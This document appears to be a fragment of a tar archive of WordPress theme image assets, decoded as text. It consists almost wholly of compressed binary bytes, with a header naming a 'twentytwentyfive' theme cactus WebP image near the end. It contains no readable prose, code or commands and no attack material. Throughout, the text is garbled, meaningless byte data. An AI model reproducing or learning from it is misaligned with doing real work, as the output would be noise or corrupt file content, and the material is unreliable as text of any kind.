)@X}kt0( EG} B\baz3?^K7pIvwWXF*U޾}f ߽B PI$38 mqw: ge|wj? sX(^}4 #3<3h&%@㚟#ܫ!qJZp;RP/pW1Ͳ=oTuTϿOi.[)ZB+"YrB U~ydWq 4?))#z{up*x,܃5ikWqSc9e:}o"KGu91څ"v 3DB, 2JBJeIq>4e.@x{kD[c-=lCa]莸$DsIt) tITDI= c<9kz *2$8"klEF/3,9P\vhH y՜˝@ MH2T" ts4Dl'M5a{k/+fG|gTeuW}N>S6ɞ )zDk"ZcmyD3n];]/`9!,z {T:gSM˘#}i˱[?"F-Xwl4c t*P_|NP0DE.Dr]G|/F7y>T\3a~i8vaoB_UDoGlorQݮǞ@'#3?o rѩk'-FB!pA7g,oj?1s%X&4̱ӾhGyF6/:Jȇ)u%|C}u= U2bbHoKޜ'*5>:{T($r,T+@_HDiy_ë!: [bQw krrtDtN\]ٰVc(RRL_gwa$%Yvɸf ["V8hC'}{{u x}$I"❋\#?ջn-w /ɽDXQTjw  !NgD?aצ=h]v7/H׆40'f8!`Ej%VBdFC0kT\!P*&qTQ<*]AKDW^i\>MAE>*S+2nN7oitQ@ِ_1z7c?HP1%6qyʒ9Ɏh:j*̫/4p&RG}I>%OG0PȰ:,#&I࢛G =]g^ja7 ,L"H?ǽ'/$y8مLɡ]2b֦ywq_j6 w Jϰ]tRpkj 20 ,RxC$~f3I(9ԡ:ehjN:p2kwПstPXVkm.c .KO\Qp71o~K.~oA=ք7?u-4 "/@ϣTGD9(t`l"'M's.:mg0Wck~bF ej\A+܈aRT*=1ij6nPsY< Q0XiI_"˾ORzdB@&9\mǀ-~PxuT#WX,@3WyvkDSֶ~3U+LA}TR$D J_9 b{PjI8I`&X-މRPt XڄPaQrɯ)[FBbL)"Yda hȁ)D`Ƚ7Bf2G`@qhTY/,z)e>#==u;6!Sg )wsn-6%ҝ"Z\cS oXJ9O~ Tc $yI`c3wYO|`@ r̵/^Z5(.F7'3aNQfDeI*J BP,͓B)FcҎTűIsgjyWY\ƈ/ZTq=$LFɟtR9P1:ma$r;1lVQt(@(S@v+MTtʙ#RmΦ"F`Cb]nsr`3dIs OJQ%t2+riw-t,ddm֣)Vl$JRd{["],bкߤRMBĵ.t!.TmӞDy:LxiW -Y ӢV(7oU~ўH!l$hQ24qyo[LFRWl[}Gj?CZ`{3XDyjoy]2+v _$8'{eRyt^{_41+H'TgUVAWU$;?70ܛV Sa@ܞ/ʖ XHr>y뗙 [O-շ;.y#9z$2>/Eq#Sx[Do%JdWV‘N,0q=VW>.mЀQ &̎p,,Ysrokyp1-XH'[,9D)PB1㯴aeuZ >LЂ5CYݹ-h(j9Sl{寍)Dt1cMʔ혯 s y^p8%W@ OQE=-*AqH raDm%RfشN:ʬi,XXoU΅й]gﴵ;IeBDcc^jJ~RU@:ʬji8sųS_p#PϠ͒._\c̻8gȉ=[gYwCxgyۺPIRNC_~ Sʗ:diRNnr`xfF8q ,D(bNx-`jH/3/p7xӛ湷8sP @=iZSNgn!ɤ%EgWQHٛl JFrV6pqؖ]'B.DΌXSŊ$aR ZuXؓ0 :óp ;I~pikK$c4ɣuzuU z=W/.ih xd?7i AfζeI*ŴyCL4I!HEVZy(=tV T6Lfbe) <\%QSG9^JymL_)/+2j|*iC BYdSxkBlLH}&򣯼ùrҎ y1fշ]Wq4S䋏 [;"}DM_gi|XkqCFD )ڰ$\&kJ,/եy"9r4X)5` !KuI>\i#|e:b +]|x3|5QoVwpb~'wriг+oj=Mϐ\>#)VxOX +3Vu]\"U>,n֞uF1n6`ag_;Iv W2=S$~tL^ F-[ƝׂKp&ye_N.bI1rUD_*bI`bX>.m JXE,u8;g96ď-X%<[h6*n% ^ fv*[\|s7.^ݞ%<|PTHkԅvȧɵ1{~^| ̕,1{s7&QGhRರC3< :HiB,Rٖ5cuiTRm4}ODy+Gy1̓x@e!DQD8οKUH͂"\b^gFؑg3*uu? ozjGZ3^+fuPt}Fn r~tk:GkS|pr4"{)s7su0mJMUm,"h.QYߢ3u>i2'2JjMVLy#V0Xe8Z'f"Gt% ߁ܥ5`dàPo3&TK Svу ochw't-D t~≋:'L6ϙQ苫nw:}PG7҂rXZQ0C<5q t5cDPn4XEY?| F+ydmpjN ŧSCl2'dC[1D=z Nvq,!1'wszILoV9@@ñyn1=%;@UbL煫L'vi$Zé-k픽f"o lO3&0u&Os #Tб@bc?oڴԢB 5:{J׈OF"/ʄQ"b\KaXsh|m< %?<ӇU=/wfTS1 ŭtqQziMU "%n%EM~S\gZ;y/$+MNi?$Q4wd̸^2(v7rl8eX" N04(j-Vaԝ \WGhhexI,&/J^Pi), p:ŽGFYUJHaȡ=v(@8"R&=?5/ AcRIm'/,aVo:'/}@5?Tdň4bΧE̽|qS6ГUGYNoe *ϳ%bZrytS"J¢87"?JZ(fs2mpD v}&!7Igע#,RS4orisAAcSY Lt܃:*YFA*/9}+[-jC֍1Z7' -zTMfOs7nߝRl/hMYtO2I6r-? ǪxuS_oz(U[_Xr{Pw>V'mH,D`8.cS5H[q ,/4  \o#H°2ìuξXz&h@\@N##d9dD+s;hi>7oЦD-}3R(LsDڌ:h =ِй qLO'wĹ 0W~uC-L{c\op E^jG IBŘךY,ԓ('g1\ƓdD|$ˋ^y.wÓԚ>"U=,HpҌ(6t%<<ro-1R)s9G! @ Tu!4v_8i4ǫDb3ZRihkȠDUr51I(2aQ " 0ʻMKbX(hm)qMkH`6ӞE|L)'JR)"gWipE+ hlrF+1l5y@P[sP21X)1N9o&3(ČC31UQ#QT/sdNoUWHF@GS{ܑ譗BژѠ&=Qsn)pw{wo{lb[xkװ,uFFU @U'5Bʅ2VM|i)|̳DE'NP.|Mm#b^W(ʙ|̠(7<@JzW8wHjuaEgs@w|A[ ȗ"RǾPhNw+ҍ6͹"m|bA Kئte 12#l _j/clHѭv0l2yj>=$.vcWQJVN ,֛TހkX غq6[<}ˋ=a ڜds"ki+X mF/el.)9Zsqdez _6*\-f:JI#ʈ<حNVU"|ttoRugΈcxh$(_/4oER.4*8+U;?XG4OVS}DHo`9U(69Qݵcg#dFS'l|׫HI69ogϏ>u簽YD[LVsB6$>g6!#'T8;KX@nxuytda3rH,v=@N{YeHK;(۶a믤Ҵ\0̐ ]O434`AJ* %”\ wp8Iy^;&ho_QF2vHMo9HpU/b:Et0e r+{ S?kMPdEd/`St/LBݡZOŴi2GZ?xB #7cWFq mZDo~|7?G2ĝwft7a~͹,Dv) YtvJZ47S(SraHp4}pɸLh"!i +x gI_&Cduh6{\&!@n]}b[bKܮvXA:j_\vvL4X/PWrYZ,1=0Jȫc$L\C#y҈MA7z>O5Bio~`ێ3CQAۈ(F$n2 tr&+sc].5lo`XA}_pՐ|c;9"R),1Ɗ_'!{/B嵖MHW7| O!BY}Kc-+ ^I\yK/;u\'P#lz)rx;ͧ-CŗQy)D"iFgñJrhS0B׷,V0%8~;[錟XrLW]cBYeEV*hC8˿udrMKAdgnaV_־x|`ʖbgĐb1$GNQ*Y <>}Dsm%]Ԋ[<ݰ4:OuqN30Y1AͤKz{|=b. |=[:nv?n/}x?0V7yy9̄g+,cаNKܵ|fӷ\VG'yiwbLHoXh!tc~/ЃG]z$zhoVds,;#&돿\)TtϏ֏屩׎`|2׀HBWJ.[v?3T~ɞC; ! #d Rrx ]aKa ,,㘛;G 3oWo~ԭ?+_ iO^+?n R)_ }n^ih񗌵#7~YFgFhfEܡzXt>G:+m 8O|#2lB6Hg%; 5읜L6M_G;`d>?i./ruFo^91ː[-m- *#&f܏$a9hN.%h$*G_ #~K@(oD% pg@ yk #!dT,eppB,Iݢ㥷6=CP`;Ywo.?S{ 0]*POf#xÅ5|^ ::߈m%+/Vip $X n: Z6)ƔNJ\3zLk~ q s>oOJD>#-^F?T%]z1G{Vʦ0!kĩ u)p_taM<55kSVSL5 F*mg!l?y;ɈX5,(Az `5뛰i(neo.Xxh DM4_VQ/x1]LwXlvi_'KB#-ئOi9[&>~[{ϻ;bMKxbmBB E0d`x•KBSth9p%d.I6$vV,qcmr;#FRSji*3Lt&_/)dVmI'F~ wV'b5 t}tF?IKHɼ}sl#>C~0]@ ׮2^2q;1&FvД@„饜#f8L hX+NkflIjِ QG(>o`Ǒ~SS"Jh&.9bshG."nC~?*ю$VDTtQDSe[J$QGB9e=6 !jh50؄PJ7τRj,HG01; K!$S̀=h ۅ.a-j\(0+wpΆo\Y@zL8ȼ6umEo='u#ʥYpUx4Q: [!E^-`,]#a#Ғ12XVF _\l­zlAECx):e B2[3fB$A)Or υ') lqID/uιaWG*%s֗kHMT4Ja!ߩ9׭7VB` K 7DLHpȍ^Z]h@ Df?u  ȼiZS75@}d2}d%*oW]s H ?ʫzS \W (ea4`A@8]~\gV)zDЀOf9^L/Gj(>%r{T,kgCbhˍIi 1y1|.^cl||/KLl;/P*C^Gos 4HY|Ko⣼{mc"#&Gy"7~hJe0uo8hHu& .аLGWi4;%L&bI|HɈlAU}h ~3yGʃ )XxV,d1(4^ճH*j:uVyAvs:l3L[imz^]Ѷ2\xV_U7w+h a_K{r4fkHݷR%88Z=M0Y{`Zk'!^Gr Ж6R.QWKЈ~0<7$~oP .4m;!q뼣 ,F2S!j?n[9zRMvЕo6yI7x&\f )Ú$7W/SLMvX=(:1Q}4"\4 /`bT+*< 0Ŗ:(-sň=]zV%nP5iyjr97m^u'S!WV;Z#0 Dq&c %9 (tN.C.'78pދ Vݖ;e1ĠOk$~iQ(R,!8+-0z$i8i6]SɅ2щ]`p¨+R`(Rz,iO"2^\]˱%@ܴv@GcC|NYoֻ3asYŪ|aaƠD£&~DC \KF㖡jTE34PeR,1Q5˥U;2all.3ܻa٨2jq#@?@p]X4SqYC5gȤ '>m-1`xF!*&{^X9G|q#dcUh1G(/[>jQ2NlԿqÉj~qvpߋ%Z8zpˣ(ƅ-Xu1*_C<+Mr3Y9r "جRx>snu tjϠSǒb1wAlO ;}yFui#(Jׯ:mV#Lj "RN2\ndUftblw[ txk<D\AqX)/{0LF1܏MOlҶ;(Z7/ Z`SzvtgN\eCWF99L[UJ r"#^i6k2 &Qq{UTJ_M*(3Ih:B E8-?˲Ezy(sņ z>S\#ńLfEnU hX|svg}J#OĄѢ |`CW;=(.s\lgV1 [?)It%0Cy% ?w¹,9qb$ e%ÞbfM݈W7J>o{=?^];'1`^l.m[5t@  ?muA~~44 hks+ a>KN^fD"uN }v:@"XBcɺ!Ovg.`]"J2S፷Oھχ_:`+UH&B!R'v!xQj?2e}n \=DeB-;Pf{-P0D`_t§ā$R/Қ}*{Zzrw6r@`r?98KzYV\e9CY-Xm<vAT}õѲWJsQd<,ub9?x9s"`̢DW,spK>+ˀ^?Tp"NJNĺJUk5LSU"u75DiqE)&G#LuY):dʆ2OB4p,IAH^^2nR?#:!EGgL{Xgد뻩dOU˂O ʜJzN}8|rɈsD"!c?4#.#ڵ+d(j- [埦SLxkwmU|"y**kJW(e {Ŗa( @+r^Ue[j-D/]]}#-@LdHmVKK^7GVllߵi $ : V&KMA'օh }k3=_y4Y7 ѿ`bNG9%hY`bR|+L9:arc$S_BEBA-ْglvmbsDZ|69%HSzmts80Rlv? L.>U9ږ}K?9Uk("6@N(ir7 ,.Ea!@t`o!qStΞ(+7U_kE}OtCxLY{j|zѧ/Νa9COMNqc}< !khߵm~ giYb#p.W0m<BB{xlj[ Ljw_ AzHBW~!M'C$GY^~0,/D5p0;̇YmZ>nhcX4(d}/ ޥ80l tIcvd -.,{& n+\mBbj)6dJ18:(ȕ@ B VeZF(Fܖ0Td7hR%8/ybdSq~d~l' SNN"~uu?KcEȾƺNbӛD |n)~6l?C>+4R/;AXpɕ]? V9[n>_gFE?CHZ74>gF7Z qĸ6G TR;Ua\]6(םELqSs>$~)| Ö-6XD *2zJHa*Ȇ#H"zO9 z]@=r0Naa8B+8r2`n?Ts;+]28pRŕXm+7PQ ܴl!kOqN,w-BBڅKY4?YU⅙%Yՙ:g`6S!ϖ64}`慒 &FE9?W`TpwH=;ghXKC1=yQ<pL2ʿ)zyiC h'uԋaAk +T @̔8ݑޒO q Φ[ɥ̞N=C&Fh[k2v ֺOZ$qG/SKJ G&4<ݕS8ۆOk$`{<m}ىgװᶞb< }CmI8읖J(8LKB}1 uՠ2OP3Q,6Ӛ jꉏ= F*;fkNo]BL0:ZS Уx#qNg"EaN=܀G/p=Q[ngV7$?Oz<] ɠXFk7vȪVY6rQ upX:+WF Cf$e[O忼M:,$7e:NG° >%IGY~}=V/_>}"Z [żp)US `-!jFoSgvu&0e͞әw""[K=H`?XPFso,d,b -Em!Q+w=6dT?T?$e(v{WxՊAQU=.f#@pߴl6*CM}vdHgC~:)+J*'ڻUw ^ZI{جRMS +]%;%106hVޟrR [S3j vlþKwiRI9hlp*8EfXeO[ZZs ٷl w7@b@=˥u>[Z8&I!zʔ%P޷q~w&`/T麎(\A/E 30V ~s?" |Ξ>o6+¤ h2_U)@mH^ot4jhy3շ_Nj2 DzHR ~^?8# iU{N(xVl<2=?Ŧ-zF M Z/j4zzd/]:s~  jq_q4G8 z+фZne^o8%cNdw;gpQ9]WgwrGYǛ%_멿IcLЏs*DZ[kIՆK?8˽k#SXϯ- G,‘iW;5 S<Kg[ZP$!:=%"ӧD?[T<@nC GjnBy񟸓s-l;xDQ-uWst|j"!^U),e q?v8X+9q~DuVýs<$׈!֠UO"MrҗO$ \꓏yzkMz]jŐ$ i|%AUXH,[j'|>u}݇8ɇoST` QX֯~.R6fa> GfV}2jWvDWJHy̐=l[AlYa3pItr>F/`DF$уJDs _'^8 tu\. Pfim\}W$ W9X0)ܪYQNT$E)^ڧ 7Hcx} LD윤:>i#n"U}XT8m!\ LlzW Ԧ#!5}$i\)đ}f1::Ni\ A[D{BƠR5 CYdy9,U7!1;w`1ҝ'i`-@}Ӧ׏ѐ8GPEw78a}H>- svbjƞJ3[qB`Qɖ3 H`n=# WWZ~UiHx}>-ҹ+5k<(  2C>`ϺgjVdO!7w:u㑛p_)6)#%'4:tEy *#gǐBNyw \* G;sa=iqKّ AS0/;79CP)@A֫gCZ5Nb|gX;/ W^@=) ,UPĕ0L\*vaùï@20}+ЇN@ xA0~m.Ǣ0=JOYU:^ &=60ܛp:&`!K RР:kX뢭@<'^h5"֮LMYdrT8(+7:=Zż;h! EPuu+wړeh ݾ#]cX /5Ψ|!קt[" T&<} oGRJ\,4pi]ژKY2)!s;h`juͱ+OQv-"VXE`,UY3YoۤM)\kR2S[DB5!1fKkA`%}c D F0(!8U= &5EUE[Ȍ3zlɀY:6ْ|`ޕ ֫2Uc܁lviIpMlk΋l ΈsY._bWigl1hPOT$^BP.zSQ42XphZ(nֿNńpVpG`92l |SZ]4gqs)P=Wͷ`N+)"ь@R#Z MY-Ċ&|쉐4\nGM0o|pbq3<\6Bh.*GA"bL`bo4x`>EcY1O%8Ju|4,Iga9a'v|Oq182 z EQspAny!ˆ_Q$}gD|8Sndd#W Y% <שe`#P3Ήo_#2Jklw`x 9i:@90⇏lƒ0, ۴SOI:ƘſICx9|Xsϳ=4WgB=J.~14D JK'~pN~ AAʔ/ d?]2)# X`s٘+й{~<X2VAv3bko"س(jix" HX&Ff=aq Cu۷,h7A,} ۖF> T"<5ش{w@Տ=4oT/jfTroPbi|nNlf|}ӃMIB;]:E?[&h7"z?S|=nXms6)6-!3voXo]rM-m~P]ڴ(73؄>N888̎q%xQ/ TSxs5< QFEl:#9եi2Z $CݎxKZ  X%D#F:Q@ ɕ*+vIP{7D(mTpMk0UC{[F7qZjoH{`$JTJ]Qm}4cN+\pj5!$k-z-z %X紡Fcawfɫ1*zn=Zki轕4C}yzb8Q:ڴls9.%]hJ7ogPY#/T7-%[wkOE >7No3Ir*@Nj-92\D) 2ń Fb>F `'pWH|6PP@]ig7 aR9b?*w|H_ƕ%\ Q6+UwL 5/vke%xǔnaf/xm(T $StEdzb-t*FQ$.Σ̀1yȥ}S*Ǚ`8]ga %D%HjtYU9R6m|ƄU*ǣFUeg%l C v<ܣayJ,ov~*r)c|dNxɗRZw-⡊?S2>kp] bPy$n{`Ի 4U܈cY[7^N]`I=\"YgTsg"9 %]?d0 O%LoTv|4auلf M5E; sToIIhRCZJ$6W:̰5D`z%{c vc@xGnƘccyL!"& ։X*_ұ1 ^iy!W=GK-裴j$K9K Uc-ȧEcJ2[@$ۚM-T?DT 0A@c?"GGz}^ B9O/D5i^v6q/p`n9hC6$Ekދ$@ fD -(8qZ]mp0g:  m\ʴN`ZI*Elm>OE:h&kćƴ}qk&5K{"Hx+ObmL] tS<u&,+*l ا Dl+‡dz|t6H6̧K@F@QKR8)yX < );R"uAҒS3QMEHzno-Jcoe횾}E1dO:H|#! 0xHl yf# :_:FJ OhʨyĥuJ*U-Xňσ잱 AwzXո~O RUllX qio'ϭPB!gȩ8'':J~;LJ6xcЎ*gLE?ZX߂djkvWl >`D8<ldv<ɠny_"-}P!Qx/-}ipZVo[D EhD4}2n u8aDρ.*.c_߽6LEa5(e%@5y~-m& V{'9l f_Gow&U3 jaq J"GSOg^.8*)3բ9(s[*& 6ġjg +T k'x8q?p̈́ Xh}эDAZdƐ^cfDJL-ew75 +Z{Ċ+bwП矹V1 GZK|Y_c_9R2m*\ZI6ښ6©L3h4 sB)ӣt׉ff HRS >}e"{]FZmQp;r=fw=`V陆ɟmnrK9Q)33`pmffn 1Yia"YcEB%Ǒrtf tяtkyN^phXLLWu1Zq \z@KV8;G: qACFU1d7s㊄LP1X2VY0DtsF#a- SmB$Tݍ~HNqtq /TzIO_,l#U?X,yMK,Wj*ɱ3U2 #-^wdhMÁgs8e$Ⅻk%Z㖑}B8vR3 4Ïod6cLG.Wdv.A#(bp b眍`/Y^;7xrVU4CeV-R(1]6YY+m> _Kj](} 99"OdFqucn1a@ep}4EI'ۯi![nq}Ӭ7W` <5]=-n&f`svun_`~N졮1y۶{<1ښˍ`C j{|Zr)k0ʊaZ_Uغ7?DLڤNFp) ´l"PC]_9e lPqf7ܲjP2nh؋Ն|'DFOmТLW͊ hE᯦!vFԆ|l慃]Npv69Ȣtmi0;.cA瞚VK"Q'M8zG!h`BXKoAe03yAɧ$D ̲mFt]$@l:Y#(M*\\CPH@D5*:N*Tlm+v콿+{T4!6u!N% skIw0F J< ְ(M9dn(!;ԪBu ` ,I? X.͋I߹ t_Uz32 L0#) `6PL/ZfkEÁc7J v8*xRvAxlюz48n.M7X5~<+ \r dHYvGT,iTDI`|*:ąK-)Wi rgķGG :*w<{E n{}%*&5&U]8̞k!ש)YxgI/ttMu@n U8qPi$b]H*|a,E,5/lN53'AD^40h") دCV/' 7$MoZs-BnU>0*U `ן{9QB^*)sp,>egB#7рӰE/VOv0-BΓ΋7u,+ZX[deD S8D ^P"|Sxb[t߷L3PS6Us{oν {ndHA#7DsJwW_?m.- * YMP ,y70Q-N\&v`S6N|i5b nC$5<;.@N=B5mkUIWk}ߨ6$$dG<5igRzVQ_oM\"*#eXKH-^tsU}]/=~ɶ $ _K ^(顼#!oR3_bȮƩ0٢< zt @ޤ&}/9qզ5+&- ؔkR9BDeGٔZFpb;O* %56>RӨt,>.}'SljD+Q`DfL E|n`Ĺ;|(u`Ǩ^X:C֥o7_IjI/i`D܂7cġrd-ɥ(h٢#Mtr~D&^ \+%b[F|K`,*U`zGwnT'?2795pn ji:~ |ԷU~rߺUAπrOENv֩׈esяÅ!Cw.4#Iә.FuªI腈P}05mC\i҄hh)I`xh 90En"tE~2&E1ahxl5REDYȽbد!?foze@y2G}}H:UI "]Nۺ' (7"/r}5NCg 8fr;Mh'b滩fV'MoEP ;jSvo=vU؛[IʹS\arqdׄ?ͬn 47*!Rbl?ss4̏}vp@./9}ɠyNh;? Ch|s_8nS.QR0 '} n+#RM=p.d;C{IܟQ[Vd9{n{Z-/@E\1N rFc/dGl `]v[iZ 0cZbUTBJ]v AoW9G88&#$+9oC[gAqd|jٮm۲)?&,51x?}`Gu 8Ƞ|e=Rp: v[eTi"sRZ^c%6p6~ЬiȪf頩gMbab?\˒, yϵsAX nySmfft-K`:mSP S65=Ub\}TRt52s̉m{t2jq=Eu]A*w5A=@Ժuwf]]zR4_ý't4{ѿ U BGw)??xpZYo|N ppO- -ڋ6潑? O.%}w쾡g|Ã_{E?6qyYld#GP|0$: XGcL=0u  KF+G 1/ѐ@4хP M(yK VIV@ L`B;Wop# *3x^AǴTC,bڼ?R}jӠMqO!]pﳶfٴu*U>X"??eP8k<>C8A췹RikA0y@`w]Bq]lM b7-:pƫC Dy`?B{th&qd+Ux<x0+ծ}&{~ˋ@QABEřg'Hɰ_'ӌY|0H0:!HLkS48Ys gՁH\ (̼l#!Ov C, ɸieKޚ1Uy\~Z`xږQ8l@a] )vTZ%bMo>.*UZ25fHʹGb2!I[eDQc4rn1y}R{wS,hXd0&5/@P̞sMuŀǕhƩJE'MUNǟO:1:=YqsMQH Jm3̒}lѦV*#x v@yB#c^ퟤ8^}ŹW X9cPf+^TqHщ2p,jPLUw9jQ:^%3qbJyP.aY VV-KL;KW2El}"3@?}_Mc%72c@=Ly/Gi쏛W`+|t`ȃ65pf6h^?ok-Et^9EYH)DLV;YA5a E g9Υ"X5;ccV=zQ;]ظ:['zSDv,8Haoz8չPfIGa ˑ8Ԋ*4$2)gc Df@7"( 3ѤJ+|[0d=OՆ%n"ί5,0-YǓ0 ~RNAhQ:Gx͊a헭ie}&Z^v$VEh_5ƹc(ΑyO,z*IpAb"TmEj,- PǗf3#~94@Mp^掫)CGe˺B2AICxUN#[׆l6 5M٢%w&uL~PL%q"#+HН։WYRf>jic0u}¸ޮߡ|`5zad̤h1+hRZ y>GUϽw̶ܘ`[$E#$yi?9/Yr'M0ؤ  KsՎE y:mUBvw`5ˆ퓢9dZ_+5L|"k>Uš7Ԇև=uV!OZ)+FOqi45n>:taswcR8WQ͋Cp氎s:`4:g+ 5 #cmDB"6>FCc`|!9J:~ "s3>AR^ X_/ž#,Jov3mGB-|ŧ͛'-6:$YDq᯾aޖlM<>, c@r^-WK /;~ <}hsC#ӣWcc+`n|015ۈ37b[NRS`u!Z??خ&o}lq)GEs뇱i (ŽYlq\VvPm n2P@l];Dz,Eε46EAL{R:2k#]j:m( QzQȥX:ROડƭMTf&5=桩H)U4D-;>ԽHCӕ)t<6TaHh(0IX!dK?xXBxXxtw2_#wޢ)m UV5p?Vkc(BoX{tie{56u#[W}kzm]a#o=TJ>f̓Mm6/,bHx8t ^)\:_U`7gX)7RW Y}Ë36 7 ~ t*0~[t԰pQ\HP¥6mcL]$m bL޻tN97v}$>c'F9a8#xBG!`5\ReMcⵃ7v[Fmr3jV-м%6J/ ,!G0t[HoW _]\p!h֢В]Kp)'bV kVӶJ:Rl>C7` U,;6} t DYc,S/`q*X]jT빡ʟ|n tlӐ椊+_vZ@ݾ(_tWbj~ p 48#VAÿސnv8gJi!A[#(vt'1">b;/s@udX!S6gm:{zۃ~$Fji6_j̛y` ޭ|{E,0)¤ۃq lj䪸/f"락*hA3ě"@_]GY8A^nK:[:)&`v8莥ېMȕPJ/4RekSۧQCgW, OSa/ J$1֟ȧZ*Oʃnܣ~>S) a:?U BoӜ$-Mr%"@H}U5^rƒSt42i d;ɡ}>Oa{-u`ڢȦ6&Z}LhccpQLrq@yV]bWc ^W\6'60dXR \V|jzIw#c'UΓM>xu+sᎅ&hѰZmǒlExOENY%\ 7j= h"D4 ^;7Gք:7'f#.|GV@אkY%WQ |@O6DRdb蘒H`* w>2syЄRje۬ :qٷ(D ``C3>C]Xy~@^IaGQ/)]I%9"%/R/ITi_l;Nף @z|AoOύ利 z5쎒}z ޽**[cz/CȘc-:4eW%0qxЍ;6brQ@!IIr2&o񟺙^g!w߬&ydA>]<2v"">ƤQ#BnE3JPo /I_'[*u u$9?>ZB]j;@mVF0Ul4$¾3se,IJ7Jz fiRvT{:,ZsWv9c䫰› qsx*}gԤLAnhUSN¹#QuIIG 3rϦw۝\v2bx|va]G;|(k-w$ص1m-T10qvz'Ďp1C LnLOQJzQæ7}^>G/UwI7ybg{=\l2,HLv.)g,)B=iʖ`|И ]vF<` < 2JFA*Myq\/2ywmvŸ́P-F3GZ>9Ż'bZJPd,6RCsxn-,I3r [~ Qn:$)A.R}K-?V *%ĕ5\<*JW!i3f*  꿾:P~Ɍg6;6V1ci`gHȦwYTS=exCȤ%dXRL~F&ݍS_ܱk+2 H`LuvMԠͶz, ưӳɳަ9ʀ6O$VƼ㎷y‚OBn/ .t9@ˑtAO&V"vU%X:>nmWF+&ϣmjt S-dC,_=YQⴵ@43A;M3HfU%yH@i^L** Zo?Rhgm0UVPɨipH!45j2A?#LF eE% \*n2 }p?DJ/!|o{;F4(wRЗҁAh q>w!cyjH%T{~eu꿈#DoKЀs\ iNJFEUƭc8e1vxzL"?X(L"O8 L +tHR `}f"ҁKoN6IyIPQ@~}}M u(̫#Z=>Bj6~r!1)ۗcu@o2Ro1&rϙ8X؆o4>f] z/ٸ՚8sU@}CT}B)|NELwm&QTiDŽ;{꺬AC;O),js]9IC'5K}0E|D/*XC[P7?_iyLͩmXR]TY/ Zr_ͧ_u~'n-JxIy RZ;zVwM:{\$.ۢ9(~t]ɩTd{(U'6pƸ92"E"# r%jR?_zǽf/7]dhHJ9^-#P9O[~j ƴ٩0!} Ai&ug%orʰ,@'bתQ%WmeF~]e0%'^,r^o;1~R.RKGʮ0+ǠYXQ<&ӷѓ7]LKWrJ8vtB:sWqypO rlBNeAAF [`֢)@A ~\N$)n  kpasFN*Paҷ/$&~F-@7W-84`LѸ߮Ҡ{LMϓwpl)x2.?-gDan6rko4QKWܪ'f}Ws'WoL֠uƎSUO]e[^^c0H͌MѴ<~6"έAJK\<TA#B,E >+gN}GXma2[PY "%/!i"`dwÁ|E" S%zx}ZaqhX70r@XY\mu-t٢ߜ@P|K۫yǻC,Je%UZAf8p ;Aj#Rô@ {7p`xq!RIX83R`^Aqn`-3V% K$N\æaN):/l'2vPm/2Qq tyKb<ߘFOfAEOWD@]*]N$,Mc49Obx0 f&-zp-khNj׳S?.3ufܺh7"&~vt=x[ɤr/ !ZqzFACy;FD.}rNL$"?$>MT*{ $<"J_vPO TjHk{!OCAG G8Iި˰I 㟵4Jdf, !iyL5d!@@ D,ɻ&DB&0F}zẂ4kʄ |5D= zq:u-}QB_֛sڄx3O֬y&"K+}y?E(9VY ;4¥s8v({,HD$}w։k):)72Q$C_+2S32N3!lM-!za431𷁌|!:/4)\0hڑEmt&s5֕#y"sǍT-V_? Z{%ԥkB5)*W?Rdfx u7x,ǡa=eT,$Nӄq8|C;bJu @U =sb{~$B.{#?jvLil@^E[®íh12ӰCw1tx囃"2/F܆oUZ@|)QvnX~ƂkQw<xG%TjoyZ2(Qe\eeWURvd@("BI~cAb2]{C?/3iud-XUQUa-a)R 3JS."3L8BT_eT'#BV\+'Vb {V۟75p!wJEgT 7Ʌv.4`)ă K ̯۽?v 򃞶 L@GFg rYȒ_[1yoYgene]e;ǃ^ZQ҉EA3#$%Qǒ~D\vn)xpPٟ5]1ќ/*+wgc5F9^i ̃ d"#d[!؄tCHf@X4Y7ɻ1ͿWk'">Fv~ </9 فfpՃgN5h P-(-w|;~5:&Q똘>pd5?T}펉tuClqĂd/ gz:D!ۜ!WlqS$9`K>apa]J~*3 }%w;z$z͍+t8ڀ aIs\߁ͪx" 9yZ )O''Hm `ԯ3T2h,i&bId|&9?6B>8 ΘDT\Z83{M\dКq|SZxI))g"E$ # p$.-)%An9RpcYp9_P]13S8eѲNWx 1KJk-'cgNe6U q6Pt𣬏&vQtG;(=`죕|A3<9wf&/.¹]Ma'A^ފJt(q;w,e~!+V!B?PGfHak2oIId>ۄuzeElEoFxTٞa}vF, .({8P0y C(jxBc^t?"UCHc#V$6oZY0(+OpVBM]ş࿄E}8O#@KL0zYUSS@*7XR+xATa;r=v['f~^aJ7k= t[ b ˯ ]Qo-kL[k[4z2*npH ^+8as[f- }?.eH"mD5. HNKXI%o/(3u6؂u(}غu5/}YZ>h |A$8QD-W ;*cHIerS]k: ǚ. w>wVw&p`zF]4*Ek]ȃз?qse\ϗ)Ȃ)i/88SFڥ>6 UE|20a4}Ya`Mf`UUǔK,(Ca4j TL_j-F39۲30 jA=rsիpZf,KߠtPxE#j0Cp5V ZBI=6*`]UV qa*xZ)-, Uqo$ 9-GMa1BKa X`'{y}ݧ2#xdH>֦OIZ~| Fim*ThO؍2w5,0vgw@~L YzPN]stJ-.!/L"E _pצ}k -g> <"VrAQ@,r à᯿ݎbZLjc|Aa? SDi$,ƟP#L{`%0⤣Dt-B;@NJ?v8}gr%3,r&&4WC/Ҳ_B"!̅nthemes/twentytwentyfive/assets/images/category-cactus.webp000064400000145246152335264760020264 0ustar00RIFFWEBPVP8X (VP8 *pE*)%\2#eE'G}dBs0W ܴ@ t?URfM _7׿_O?_蟛/`?72yG߿y_s[/Ϭ ݿzW'mGOio޾?/?!w4;??_????;~T~t${ ȴzeRA&A| F%2֍wMoAB\pp_k"%fn FEmH #Ȯ;#QH+ 7bR5i`j5֎СlFlpaoD+:HWAaw┩;r0weMX'DYL#X 0K@e>Ǘ$wFi8lsj8Co&57e<=|1XhT7R"%;jsdkr1䛶dkD|cĴ;ltF,GgM$hھ %Ix8tZAtyC:0ob %tƒG *C@OV!Ti?GO;уNȟh+Agɦ!QW1[\-?gc 'FWƇFt i h#2mo}Ws<YVf+c7fIԼВBr] l}w9> uF J -Rи]x uf]#*#@@$[măZ)O \/I/*I?y٣D* m7jq \YRSj9sw̐` Z$G9fpjE#/NT@Xݛf:w/6=B,yYQ-glrt/fEi {tŠP!G]O݆-E]) \Z!Rt-@ib}+YlToe3MV<\UUVa_+}f+='H](uKq!JTWD#C߭b~?Yˆ]]KCG_\ lZ:&A='>6Y5aIK7sscr)%`K 